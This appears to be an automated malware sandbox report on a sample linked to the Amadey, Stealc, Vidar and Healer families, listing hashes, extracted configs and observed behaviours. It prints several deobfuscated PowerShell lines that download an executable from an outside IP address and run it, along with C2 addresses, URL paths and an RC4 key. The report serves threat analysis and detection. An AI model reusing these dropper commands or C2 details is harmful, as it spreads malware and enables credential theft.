General

  • Target

    0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1

  • Size

    938KB

  • Sample

    250324-jpnwnaxjz7

  • MD5

    3c9fe35d228454d41a439411bb05736b

  • SHA1

    6757675488a29b5031507d5924fa9fcc52c02f6d

  • SHA256

    0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1

  • SHA512

    8803b09c53533308e7d9dd8810136bece13335896c7a125b7a05ebd315bdb7151d7b81fbf167a7378f33ba97020668dd35fc406faee5ac6fc4959745b066e7fd

  • SSDEEP

    24576:DqDEvCTbMWu7rQYlBQcBiT6rprG8a03u:DTvC/MTQYxsWR7a03

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "TZUB5XXUGOCQSZMNR9FEFI1MOEJSAQ2O.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "YBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "YK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "\\483d2fa8a0d53818306efeb32d3.exe"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Targets

    • Target

      0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1

    • Size

      938KB

    • MD5

      3c9fe35d228454d41a439411bb05736b

    • SHA1

      6757675488a29b5031507d5924fa9fcc52c02f6d

    • SHA256

      0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1

    • SHA512

      8803b09c53533308e7d9dd8810136bece13335896c7a125b7a05ebd315bdb7151d7b81fbf167a7378f33ba97020668dd35fc406faee5ac6fc4959745b066e7fd

    • SSDEEP

      24576:DqDEvCTbMWu7rQYlBQcBiT6rprG8a03u:DTvC/MTQYxsWR7a03

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • Detect Vidar Stealer

    • Detects Healer an antivirus disabler dropper

    • Healer

      Healer an antivirus disabler dropper.

    • Healer family

    • Modifies security service

    • Stealc

      Stealc is an infostealer written in C++.

    • Stealc family

    • Vidar

      Vidar is an infostealer based on Arkei stealer.

    • Vidar family

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Run Powershell and hide display window.

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

    • Creates new service(s)

    • Downloads MZ/PE file

    • Possible privilege escalation attempt

    • Sets service image path in registry

    • Stops running service(s)

    • Uses browser remote debugging

      Can be used control the browser and steal sensitive information such as credentials and session cookies.

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Deletes itself

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Loads dropped DLL

    • Modifies file permissions

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Adds Run key to start application

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • AutoIT Executable

      AutoIT scripts compiled to PE executables.

    • Enumerates processes with tasklist

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v15

Tasks

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